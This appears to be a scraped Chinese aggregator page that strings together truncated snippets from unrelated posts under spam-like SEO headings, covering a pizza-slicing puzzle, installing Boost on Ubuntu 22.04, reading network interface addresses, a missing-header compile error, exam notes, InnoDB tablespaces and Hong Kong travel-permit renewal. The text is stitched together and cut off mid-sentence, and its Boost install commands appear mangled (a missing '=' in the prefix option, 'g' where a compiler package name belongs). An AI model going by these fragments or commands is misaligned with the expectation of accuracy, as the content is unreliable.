题目描述 “吃货”和“馋嘴”两人到披萨店点了一份铁盘(圆形)披萨,并嘱咐店员将披萨按放射状切成大小相同的偶数个小块。 但是粗心服务员将披萨切成了每块大小都完全不同奇数块,且肉眼能分辨出大小。 由于两人都想吃到最多的披萨,他们商量…...
ubuntu22.04 安装boost
下载boost压缩包,我这里上传了一份1_81_0版本tar -xzvf boost_1_81_0.tar.gzcd boost_1_81_0/sudo apt install build-essential g autotools-dev libicu-dev libbz2-dev -ysudo ./bootstrap.sh --prefix/usr/./b2sudo ./b2 install 上述7步完成后,相关…...
做进口零食批发网站/百度手机
实际环境和特殊需求往往会将简单问题复杂化,比如计算机IP地址,对于一个连接中socket,可以直接获得本端和对端的IP、端口信息。但在一些特殊场合我们可能需要更多的信息,比如系统中有几块网卡,他们的Mac地址是多少&…...
做个商城网站要多少钱/杭州推广系统
问题截图: 添加#include<sys/mman.h>头文件可解决’PROT_WRITE’、‘MAP_SHARED’、未定义的问题。 现在还剩O_RDRW未定义的问题。 我再想想吧 先(~ ~) 这问题出现的原因是对应库文件的缺失,添加相应的库文件即可,但是我查了查资料后…...
it软件网站建设/巨量引擎官网
2013-全国计算机-408统考-错题、难题总结 选择题数据结构部分计算机组成原理部分综合题计组部分操作系统选择题 数据结构部分 P169 T1 -对,重点----需总结 结论:两个升序的链表要将其合并成----无论是合并升序的链表,还是降序的链表,其最坏情况下的时间复杂度都为O(n+m)<…...
重庆网站建设在哪里/网络市场调研的方法
讲师:庞雨秾讲师简介:法狗狗法律人工智能技术总监,伦敦大学玛丽女皇学院认知科学硕士。专注于自然语言处理方面的研究与应用,负责研发了包括处理垂直于法律领域的智能咨询系统、分布式非结构化文本挖掘系统等一系列基于自然语言分…...
桂林二手房/英文seo实战派
14.7.4 InnoDB File-Per-Table Tablespaces从历史上看,所有的InnoDB 表和indexes 是存储在system 表空间。这个整体的方法是针对机器是整个用于数据库处理,精心策划的数据增长,任何磁盘存储分配给MySQL 不会被其他目的需要.InnoDB的file-per-table tablespace功能提供一个更加灵…...
网站 加域名/四川百度推广排名查询
http://www.ctshk.com/passport/talent_bookrep.htm 換領往來港澳通行證和申請簽注延期須知為方便持《往來港澳通行證》以內地逗留簽注在香港工作、就學、接受培訓的內地居民及其隨行家屬,以及勞務人員在香港逗留標籤的有效期間內,可以在香港換領 &#…...